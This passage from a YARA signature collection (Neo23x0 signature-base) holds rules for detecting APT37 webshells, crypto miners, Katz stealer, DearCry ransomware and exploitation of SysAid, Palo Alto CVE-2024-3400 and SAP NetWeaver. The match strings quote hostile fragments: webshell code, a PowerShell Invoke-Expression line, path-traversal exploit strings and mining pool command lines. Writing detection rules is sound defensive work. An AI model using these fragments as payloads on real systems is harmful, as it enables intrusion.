		reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_lazarus_dec20.yar#L31-L50"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4fb7247b88f2d252e7c9d5034c209945bc9e17f49de3dcdb5bf50b5afb302987"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$s1 = "        <requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"></requestedExecutionLevel>" fullword ascii
		$s2 = "Domain Login" fullword ascii
		$s3 = "IEShims_GetOriginatingThreadContext" fullword ascii
		$s4 = " Type Descriptor'" fullword ascii
		$s5 = "User: %s" fullword ascii
		$s6 = "Pass: %s" fullword ascii
		$s7 = "  <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v3\">" fullword ascii
		$s8 = "E@c:\\u" fullword ascii
	condition:
		filesize < 500KB and 7 of them
}


rule SIGNATURE_BASE_Hvs_APT37_Webshell_Img_Thumbs_Asp : FILE
{
	meta:
		description = "Webshell named img.asp, thumbs.asp or thumb.asp used by APT37"
		author = "Moritz Oettle"
		id = "e45d4507-81de-5f72-9ce2-4f0e3e5c62b1"
		date = "2020-12-15"
		modified = "2023-12-05"
		reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_lazarus_dec20.yar#L68-L95"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "94d2448d3794ae3f29678a7337473d259b5cfd1c7f703fe53ee6c84dd10a48ef"
		logic_hash = "58ccee11c08330c8cd4148e623a2e59e024d6d5f3067331dbdd962d0f6a8daa4"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$s1 = "strMsg = \"E : F\"" fullword ascii
		$s2 = "strMsg = \"S : \" & Len(fileData)" fullword ascii
		$s3 = "Left(workDir, InStrRev(workDir, \"/\")) & \"video\""
		$a1 = "Server.CreateObject(\"Scripting.FileSystemObject\")" fullword ascii
		$a2 = "Dim tmpPath, workDir" fullword ascii
		$a3 = "Dim objFSO, objTextStream" fullword ascii
		$a4 = "workDir = Request.ServerVariables(\"URL\")" fullword ascii
		$a5 = "InStrRev(workDir, \"/\")" ascii
		$g1 = "WriteFile = 0" fullword ascii
		$g2 = "fileData = Request.Form(\"fp\")" fullword ascii
		$g3 = "fileName = Request.Form(\"fr\")" fullword ascii
		$g4 = "Err.Clear()" fullword ascii
		$g5 = "Option Explicit" fullword ascii
	condition:
		filesize < 2KB and ( ( 1 of ( $s* ) ) or ( 3 of ( $a* ) ) or ( 5 of ( $g* ) ) )
}

rule SIGNATURE_BASE_Hvs_APT37_Webshell_Template_Query_Asp : FILE
{
	meta:
		description = "Webshell named template-query.aspimg.asp used by APT37"
		author = "Moritz Oettle"
		id = "dc006b46-4c51-59cd-8b7d-adbfec86cd2e"
		date = "2020-12-15"
		modified = "2023-12-05"
		reference = "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_lazarus_dec20.yar#L97-L120"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "961a66d01c86fa5982e0538215b17fb9fae2991331dfea812b8c031e2ceb0d90"
		logic_hash = "d8bd017e9103bddb0b8a86effa8a4b0617b54bd643bcc36b6f678a3e60f8559f"
		score = 75
		quality = 85
		tags = "FILE"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
	strings:
		$g1 = "server.scripttimeout=600" fullword ascii
		$g2 = "response.buffer=true" fullword ascii
		$g3 = "response.expires=-1" fullword ascii
		$g4 = "session.timeout=600" fullword ascii
		$a1 = "redhat hacker" ascii
		$a2 = "want_pre.asp" ascii
		$a3 = "vgo=\"admin\"" ascii
		$a4 = "ywc=false" ascii
		$s1 = "public  br,ygv,gbc,ydo,yka,wzd,sod,vmd" fullword ascii
	condition:
		filesize > 70KB and filesize < 200KB and ( ( 1 of ( $s* ) ) or ( 2 of ( $a* ) ) or ( 3 of ( $g* ) ) )
}

rule SIGNATURE_BASE_MAL_Gozicrypter_Dec20_1 : FILE
{
	meta:
		description = "Detects crypter associated with several Gozi samples"
		author = "James Quinn"
		id = "d4a48612-fa6f-5f03-8d27-5f6b79b2a070"
		date = "2020-12-02"
		modified = "2023-12-05"
		reference = "YaraExchange"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_gozi_crypter.yar#L2-L13"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "51fdfbb59b8f52cc2ff89d994c0f89d2c2895c346b098879c68b4ccb880783c1"
		score = 70
		quality = 85
		tags = "FILE"
	strings:
		$s1 = { 89 05 ?? ?? ?? ?? 81 2d ?? ?? ?? ?? 01 00 00 00 81 3D ?? ?? ?? ?? 00 00 00 00 }
	condition:
		uint16( 0 ) == 0x5A4D and any of them and filesize < 1000KB
}

rule SIGNATURE_BASE_SUSP_LNX_SH_Cryptominer_Indicators_Dec20_1 : FILE
{
	meta:
		description = "Detects helper script used in a crypto miner campaign"
		author = "Florian Roth (Nextron Systems)"
		id = "e376e0e1-1490-5ad4-8ca2-d28ca1c0b51a"
		date = "2020-12-31"
		modified = "2023-12-05"
		reference = "https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_crypto_miner.yar#L2-L17"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "4acd1b77307dbf23f95f7a2024209bee714c6931182aff16455ea6b7e4a6f287"
		score = 65
		quality = 85
		tags = "FILE"
		hash1 = "3298dbd985c341d57e3219e80839ec5028585d0b0a737c994363443f4439d7a5"
	strings:
		$x1 = "miner running" fullword ascii
		$x2 = "miner runing" fullword ascii
		$x3 = " --donate-level 1 "
		$x4 = " -o pool.minexmr.com:5555 " ascii
	condition:
		filesize < 20KB and 1 of them
}

rule SIGNATURE_BASE_PUA_WIN_XMRIG_Cryptocoin_Miner_Dec20 : FILE
{
	meta:
		description = "Detects XMRIG crypto coin miners"
		author = "Florian Roth (Nextron Systems)"
		id = "4dfb04e9-fbba-5a6f-ad20-d805025d2d74"
		date = "2020-12-31"
		modified = "2023-12-05"
		reference = "https://www.intezer.com/blog/research/new-golang-worm-drops-xmrig-miner-on-servers/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_crypto_miner.yar#L19-L33"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c39aee669a98bcc9d07821aef248096e45a6c54ab22b8b98c0a393b445f3934e"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "b6154d25b3aa3098f2cee790f5de5a727fc3549865a7aa2196579fe39a86de09"
	strings:
		$x1 = "xmrig.exe" fullword wide
		$x2 = "xmrig.com" fullword wide
		$x3 = "* for x86, CRYPTOGAMS" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 6000KB and 2 of them or all of them
}

rule SIGNATURE_BASE_HKTL_Sentinelone_Remotepotato0_Privesc : FILE
{
	meta:
		description = "Detects RemotePotato0 binary"
		author = "SentinelOne"
		id = "f6dffd6b-e794-5c4a-9700-5c2022168f44"
		date = "2021-04-26"
		modified = "2023-12-05"
		reference = "https://labs.sentinelone.com/relaying-potatoes-dce-rpc-ntlm-relay-eop"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/gen_remote_potato0.yar#L2-L17"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "f3a3a917908af6260f40b217f966750a095140abb6bf85cf3a728725bc16996f"
		score = 75
		quality = 79
		tags = "FILE"
	strings:
		$import1 = "CoGetInstanceFromIStorage"
		$istorage_clsid = "{00000306-0000-0000-c000-000000000046}" nocase wide ascii
		$meow_header = { 4d 45 4f 57 }
		$clsid1 = "{11111111-2222-3333-4444-555555555555}" wide ascii
		$clsid2 = "{5167B42F-C111-47A1-ACC4-8EABE61B0B54}" nocase wide ascii
	condition:
		( uint16( 0 ) == 0x5A4D ) and $import1 and $istorage_clsid and $meow_header and 1 of ( $clsid* )
}

rule SIGNATURE_BASE_APT_PS1_Sysaid_EXPL_Forensicartifacts_Nov23_1 : SCRIPT CVE_2023_47246
{
	meta:
		description = "Detects forensic artifacts found in attacks on SysAid on-prem software exploiting CVE-2023-47246"
		author = "Florian Roth"
		id = "df7997d3-9309-58b3-8cd7-de9fea36d3c7"
		date = "2023-11-09"
		modified = "2023-12-05"
		reference = "https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_sysaid_cve_2023_47246.yar#L2-L15"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "85efeea88961ca99b22004726d88efc46c748273b9a0b3be674f4cbb12cd3dd1"
		score = 85
		quality = 85
		tags = "SCRIPT, CVE-2023-47246"
	strings:
		$x1 = "if ($s -match '^(Sophos).*\\.exe\\s') {echo $s; $bp++;}" ascii wide
		$x2 = "$s=$env:SehCore;$env:SehCore=\"\";Invoke-Expression $s;" ascii wide
	condition:
		1 of them
}

rule SIGNATURE_BASE_MAL_Loader_Turtleloader_Nov23 : CVE_2023_47246 FILE
{
	meta:
		description = "Detects Tutle loader used in attacks against SysAid CVE-2023-47246"
		author = "Florian Roth"
		id = "c7b5d03d-52c4-59b4-ac69-55e532a21340"
		date = "2023-11-09"
		modified = "2023-12-05"
		reference = "https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_sysaid_cve_2023_47246.yar#L17-L38"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "14a1636ed4dc3c897fefe53946e67339f91da9e2fbed2c99b9b4119dcc2649c0"
		score = 85
		quality = 85
		tags = "CVE-2023-47246, FILE"
		hash1 = "b5acf14cdac40be590318dee95425d0746e85b1b7b1cbd14da66f21f2522bf4d"
	strings:
		$s1 = "No key in args!" ascii fullword
		$s2 = "Bad data file!" ascii fullword
		$s3 = "Data file loaded. Running..." ascii
		$op1 = { 48 8d 55 c8 4c 8d 3d ac 8f 00 00 45 33 c9 45 33 d2 4d 8b e7 44 21 0a 45 33 db 4c 8d 3d 16 ec ff ff }
		$op2 = { 48 d3 e8 0f b6 c8 49 03 cb 49 81 c3 00 01 00 00 45 33 8c 8f a0 e4 00 00 41 83 fa 04 7c c7 41 ff c0 }
		$op3 = { 48 83 c1 04 48 ff ca 89 41 1c 75 ef 03 f6 48 83 c3 20 48 ff cd 0f 85 77 ff ff ff }
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and 3 of them
}


rule SIGNATURE_BASE_APT_FIN7_Msdoc_Sep21_1 : FILE
{
	meta:
		description = "Detects MalDocs used by FIN7 group"
		author = "Florian Roth (Nextron Systems)"
		id = "4fbde087-ec1e-5614-af1e-f342b1766fa2"
		date = "2021-09-07"
		modified = "2023-12-05"
		reference = "https://www.anomali.com/blog/cybercrime-group-fin7-using-windows-11-alpha-themed-docs-to-drop-javascript-backdoor"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_fin7.yar#L277-L301"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ffc91cdad91b8ab24840c6ef1a6c39aad081d986c21a88b3f2ea3ec1bcd3b52b"
		score = 85
		quality = 85
		tags = "FILE"
		hash1 = "d60b6a8310373c9b84e6760c24185535"
	strings:
		$xc1 = { 00 4A 00 6F 00 68 00 6E 00 0B 00 57 00 31 00 30
               00 50 00 72 00 6F 00 4F 00 66 00 66 00 31 00 36 }
		$s1 = "word_data.bin" ascii fullword
		$s2 = "V:\\DOC\\For_JS" ascii
		$s3 = "HomeCompany" ascii
		$s4 = "W10ProOff16" ascii
	condition:
		uint16( 0 ) == 0xcfd0 and ( 1 of ( $x* ) or 3 of them )
}

rule SIGNATURE_BASE_SUSP_OBFUSC_JS_Sept21_2 : FILE
{
	meta:
		description = "Detects JavaScript obfuscation as used in MalDocs by FIN7 group"
		author = "Florian Roth (Nextron Systems)"
		id = "5ab9cd60-077c-5066-bd2f-8da261aae1e0"
		date = "2021-09-07"
		modified = "2023-12-05"
		reference = "https://www.anomali.com/blog/cybercrime-group-fin7-using-windows-11-alpha-themed-docs-to-drop-javascript-backdoor"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/apt_fin7.yar#L303-L323"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "235ff8fe5c033fd90d77ecf9ce80b59be7bf6ae5a2863a1c9365d8b125a7ff3f"
		score = 65
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "=new RegExp(String.fromCharCode(" ascii
		$s2 = ".charCodeAt(" ascii
		$s3 = ".substr(0, " ascii
		$s4 = "var shell = new ActiveXObject(" ascii
		$s5 = "= new Date().getUTCMilliseconds();" ascii
		$s6 = ".deleteFile(WScript.ScriptFullName);" ascii
	condition:
		filesize < 6000KB and ( 4 of them )
}

rule SIGNATURE_BASE_PUA_Crypto_Mining_Commandline_Indicators_Oct21 : SCRIPT FILE
{
	meta:
		description = "Detects command line parameters often used by crypto mining software"
		author = "Florian Roth (Nextron Systems)"
		id = "afe5a63a-08c3-5cb7-b4b1-b996068124b7"
		date = "2021-10-24"
		modified = "2023-12-05"
		reference = "https://www.poolwatch.io/coin/monero"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/pua_cryptocoin_miner.yar#L54-L88"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "7ae1a77d8ff02ec539ce2b8be668530c3f509f0c408dfa7f2b749b0a4d6f45b7"
		score = 65
		quality = 85
		tags = "SCRIPT, FILE"
	strings:
		$s01 = " --cpu-priority="
		$s02 = "--donate-level=0"
		$s03 = " -o pool."
		$s04 = " -o stratum+tcp://"
		$s05 = " --nicehash"
		$s06 = " --algo=rx/0 "
		$se1 = "LS1kb25hdGUtbGV2ZWw9"
		$se2 = "0tZG9uYXRlLWxldmVsP"
		$se3 = "tLWRvbmF0ZS1sZXZlbD"
		$se4 = "c3RyYXR1bSt0Y3A6Ly"
		$se5 = "N0cmF0dW0rdGNwOi8v"
		$se6 = "zdHJhdHVtK3RjcDovL"
		$se7 = "c3RyYXR1bSt1ZHA6Ly"
		$se8 = "N0cmF0dW0rdWRwOi8v"
		$se9 = "zdHJhdHVtK3VkcDovL"
	condition:
		filesize < 5000KB and 1 of them
}


rule SIGNATURE_BASE_EXPL_Paloalto_CVE_2024_3400_Apr24_1 : CVE_2024_3400
{
	meta:
		description = "Detects characteristics of the exploit code used in attacks against Palo Alto GlobalProtect CVE-2024-3400"
		author = "Florian Roth"
		id = "1bcf0415-5351-5e09-ab93-496e8dc47c92"
		date = "2024-04-15"
		modified = "2025-03-21"
		reference = "https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/vuln_paloalto_cve_2024_3400_apr24.yar#L27-L46"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "9ebc94a07b189a2d2dd252b5079fa494162739678fd2ca742e6877189a140da9"
		score = 70
		quality = 85
		tags = "CVE-2024-3400"
	strings:
		$x1 = "SESSID=../../../../opt/panlogs/"
		$x2 = "SESSID=./../../../../opt/panlogs/"
		$sa1 = "SESSID=../../../../"
		$sa2 = "SESSID=./../../../../"
		$sb2 = "${IFS}"
	condition:
		1 of ( $x* ) or ( 1 of ( $sa* ) and $sb2 )
}



rule SIGNATURE_BASE_MAL_Katz_Stealer_May25 : FILE
{
	meta:
		description = "Detects Katz stealer"
		author = "MalGamy (Nextron Systems)"
		id = "efa42aec-b653-5e94-8d5b-73f0aab2a54d"
		date = "2025-05-16"
		modified = "2025-05-22"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_katz_stealer.yar#L1-L21"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "fdc86a5b3d7df37a72c3272836f743747c47bfbc538f05af9ecf78547fa2e789"
		hash = "d92bb6e47cb0a0bdbb51403528ccfe643a9329476af53b5a729f04a4d2139647"
		logic_hash = "73364c2291dc792f46858dda057f08805db55fe1f1e54d6b0dee0a0c8a412259"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "Motherboard Product: %s" ascii
		$s2 = "cmd.exe /c %s" ascii
		$s3 = "reg export \"%s\" \"%s\" /y" ascii
		$s4 = ").request({ hostname: '" ascii
		$s5 = "Type: Removable"
		$s6 = "%s\\Microsoft\\Windows Live Mail" ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and 4 of them
}

rule SIGNATURE_BASE_MAL_DLL_Chrome_App_Bound_Encryption_Decryption_May25 : FILE
{
	meta:
		description = "Detects a DLL used to decrypt App-Bound Encrypted (ABE) cookies, passwords and payment methods from Chromium-based browsers. Seen being used by Katz stealer"
		author = "MAlGamy"
		id = "bc77e972-fd7e-55dd-b118-ee76f19cde1a"
		date = "2025-05-19"
		modified = "2025-05-22"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_katz_stealer.yar#L23-L41"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "6dc8e99da68b703e86fa90a8794add87614f254f804a8d5d65927e0676107a9d"
		logic_hash = "d5488728a3ee8f2f59ed9798b80d516f7f131e39b3d5099ad5168ffc8ff22718"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "Failed to set proxy blanket." ascii
		$s2 = "Decryption failed. Last error:" ascii
		$s3 = "\\Google\\Chrome\\User Data\\Local State" ascii
		$op1 = {48 39 F3 74 ?? 4C 89 E2 48 89 E9 E8 ?? ?? ?? ?? 48 89 C1 48 8B 00 B2 ?? 48 8B 40 ?? 48 C7 44 01 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 13 48 89 C1 E8 ?? ?? ?? ?? 48 FF C3 EB ?? 48 8D 54 24 ?? 48 89 F9 E8 ?? ?? ?? ?? 48 89 E9 E8 ?? ?? ?? ?? 48 89 F8 48 81 C4}
	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2MB and $op1 and 1 of ( $s* )
}

rule SIGNATURE_BASE_SUSP_Katz_Log_May25 : FILE
{
	meta:
		description = "Detects log file that contains system reconnaissance data, seen being generated by Katz stealer"
		author = "MalGamy"
		id = "29ef2f42-d360-59f9-bb70-b0c68f9dfb7c"
		date = "2025-05-20"
		modified = "2025-05-22"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_katz_stealer.yar#L43-L63"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "1ac196ac6393d786618c944a7ab77fb189a6b4ba00af5c0f987c3dc65876c060"
		hash = "ad76e2727469525dec7e56977589dd250ca57a29b8b0d42cd5c42e536c285241"
		hash = "e1a0d6929662bcbc9e5e0827cb8b6d7818088e996cf971d2a4a1c1ca4208e533"
		hash = "b10796c41e1cec7c84a3c68bfcaa7b20f49b620d1c94304a6b3ed73471fa9031"
		hash = "5a984e2e308fe84e4e2071dd877772361719ba0217c2c23da79dbb82dc15eac8"
		logic_hash = "847ab8f9a7abf260f4185d41ae9cb9af40c28726338ff2306a75d2160ae61f03"
		score = 65
		quality = 85
		tags = "FILE"
	strings:
		$s1 = "Motherboard Manufacturer:" ascii
		$s2 = "===== System Information =====" ascii
		$s3 = "Volume Name:" ascii
		$s4 = "Desktop Hostname:" ascii
	condition:
		filesize < 50KB and 3 of them
}

rule SIGNATURE_BASE_MAL_NET_UAC_Bypass_May25 : FILE
{
	meta:
		description = "Detects .NET based tool abusing legitimate Windows utility cmstp.exe to bypass UAC (User-Admin-Controls)"
		author = "Jonathan Peters (cod3nym)"
		id = "5d714088-c917-51b5-b422-1d8fa00b1949"
		date = "2025-05-21"
		modified = "2025-05-22"
		reference = "Internal Research"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/mal_katz_stealer.yar#L86-L103"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		hash = "4f12c5dca2099492d0c0cd22edef841cbe8360af9be2d8e9b57c2f83d401c1a7"
		hash = "fcad234dc2ad5e2d8215bcf6caac29aef62666c34564e723fa6d2eee8b6468ed"
		logic_hash = "4a3f6e90af6f9a8a4dfa8e336eb8c714e5f02625ca2bf5bf8b1bca9cbda6a99e"
		score = 80
		quality = 85
		tags = "FILE"
	strings:
		$x1 = "CmstpBypass" ascii
		$x2 = { 52 00 45 00 50 00 4C 00 41 00 43 00 45 00 5F 00 43 00 4F 00 4D 00 4D 00 41 00 4E 00 44 00 5F 00 4C 00 49 00 4E 00 45 00 00 13 63 00 6D 00 73 00 74 00 70 00 2E 00 65 00 78 00 65 00 00 33 63 00 6D 00 73 00 74 00 70 00 2E 00 65 00 78 00 65 }
		$x3 = { 52 00 45 00 50 00 4C 00 41 00 43 00 45 00 5F 00 43 00 4F 00 4D 00 4D 00 41 00 4E 00 44 00 5F 00 4C 00 49 00 4E 00 45 00 0D 00 0A 00 74 00 61 00 73 00 6B 00 6B 00 69 00 6C 00 6C 00 20 00 2F 00 49 00 4D 00 20 00 63 00 6D 00 73 00 74 00 70 00 2E 00 65 00 78 00 65 }
	condition:
		uint16( 0 ) == 0x5a4d and $x1 or 1 of ( $x2 , $x3 )
}

rule SIGNATURE_BASE_APT_SAP_Netweaver_Exploitation_Activity_Apr25_1 : SCRIPT CVE_2025_31324 FILE
{
	meta:
		description = "Detects forensic artefacts related to exploitation activity of SAP NetWeaver CVE-2025-31324"
		author = "Florian Roth"
		id = "78863492-5c83-55a8-900b-057e99125414"
		date = "2025-04-25"
		modified = "2025-05-15"
		reference = "https://reliaquest.com/blog/threat-spotlight-reliaquest-uncovers-vulnerability-behind-sap-netweaver-compromise/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_sap_netweaver_apr25.yar#L2-L14"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "ab6c5e17bba15a3f968bdbe88a8cf4a039c55b6035d91fd3c6b30092be89af5c"
		score = 70
		quality = 85
		tags = "SCRIPT, CVE-2025-31324, FILE"
	strings:
		$x01 = "/helper.jsp?cmd=" ascii wide
		$x02 = "/cache.jsp?cmd=" ascii wide
	condition:
		filesize < 20MB and 1 of them
}

rule SIGNATURE_BASE_APT_SAP_Netweaver_Exploitation_Activity_Apr25_2 : SCRIPT CVE_2025_31324 FILE
{
	meta:
		description = "Detects forensic artefacts related to exploitation activity of SAP NetWeaver CVE-2025-31324"
		author = "Florian Roth"
		id = "17fb236e-e78c-51e5-b0a8-14964e38dfc5"
		date = "2025-04-25"
		modified = "2025-05-15"
		reference = "https://reliaquest.com/blog/threat-spotlight-reliaquest-uncovers-vulnerability-behind-sap-netweaver-compromise/"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/expl_sap_netweaver_apr25.yar#L16-L27"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "dfc24a4f359e2bc899ab3924bd342c2c6bd8c757b7c1d3859a47f61b9e4039a9"
		score = 70
		quality = 85
		tags = "SCRIPT, CVE-2025-31324, FILE"
	strings:
		$x03 = "MSBuild.exe c:\\programdata\\" ascii wide
	condition:
		filesize < 20MB and 1 of them
}

rule SIGNATURE_BASE_MAL_RANSOM_Crime_Dearcry_Mar2021_1 : FILE
{
	meta:
		description = "Triggers on strings of known DearCry samples"
		author = "Nils Kuhnert"
		id = "d9714502-f1ea-5fe8-b0ac-1f7a9a30d8f5"
		date = "2021-03-12"
		modified = "2023-12-05"
		reference = "https://twitter.com/phillip_misner/status/1370197696280027136"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_dearcry_ransom.yar#L1-L27"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "e55507475888087c84f9624f82516e8a40aaf59bf2fbea72129a1dd134b28110"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff"
		hash2 = "e044d9f2d0f1260c3f4a543a1e67f33fcac265be114a1b135fd575b860d2b8c6"
		hash3 = "feb3e6d30ba573ba23f3bd1291ca173b7879706d1fe039c34d53a4fdcdf33ede"
	strings:
		$x1 = ".TIF .TIFF .PDF .XLS .XLSX .XLTM .PS .PPS .PPT .PPTX .DOC .DOCX .LOG .MSG .RTF .TEX .TXT .CAD .WPS .EML .INI .CSS .HTM .HTML  .XHTML .JS .JSP .PHP .KEYCHAIN .PEM .SQL .APK .APP .BAT .CGI .ASPX .CER .CFM .C .CPP .GO .CONFIG .PL .PY .DWG .XML .JPG .BMP .PNG .EXE .DLL .CAD .AVI .H.CSV .DAT .ISO .PST .PGD  .7Z .RAR .ZIP .ZIPX .TAR .PDB .BIN .DB .MDB .MDF .BAK .LOG .EDB .STM .DBF .ORA .GPG .EDB .MFS" ascii
		$s1 = "create rsa error" ascii fullword
		$s2 = "DEARCRY!" ascii fullword
		$s4 = "/readme.txt" ascii fullword
		$s5 = "msupdate" ascii fullword
		$s6 = "Your file has been encrypted!" ascii fullword
		$s7 = "%c:\\%s" ascii fullword
		$s8 = "C:\\Users\\john\\" ascii
		$s9 = "EncryptFile.exe.pdb" ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 1MB and filesize < 2MB and ( 1 of ( $x* ) or 3 of them ) or 5 of them
}

rule SIGNATURE_BASE_MAL_CRIME_RANSOM_Dearcry_Mar21_1 : FILE
{
	meta:
		description = "Detects DearCry Ransomware affecting Exchange servers"
		author = "Florian Roth (Nextron Systems)"
		id = "96cd2fe8-8bb9-5a3b-9bf1-c63a1148a817"
		date = "2021-03-12"
		modified = "2023-12-05"
		reference = "https://twitter.com/phillip_misner/status/1370197696280027136"
		source_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/yara/crime_dearcry_ransom.yar#L29-L53"
		license_url = "https://github.com/Neo23x0/signature-base/blob/8b8cef4c719ef8193f8de6f98fefc126b4b4c66d/LICENSE"
		logic_hash = "c4af7c29e917078f8658aca68ec95f8a03934f42c81fdd421639437e24f304bc"
		score = 75
		quality = 85
		tags = "FILE"
		hash1 = "2b9838da7edb0decd32b086e47a31e8f5733b5981ad8247a2f9508e232589bff"
		hash2 = "e044d9f2d0f1260c3f4a543a1e67f33fcac265be114a1b135fd575b860d2b8c6"
		hash3 = "feb3e6d30ba573ba23f3bd1291ca173b7879706d1fe039c34d53a4fdcdf33ede"
	strings:
		$s1 = "dear!!!" ascii fullword
		$s2 = "EncryptFile.exe.pdb" ascii fullword
		$s3 = "/readme.txt" ascii fullword
		$s4 = "C:\\Users\\john\\" ascii
		$s5 = "And please send me the following hash!" ascii fullword
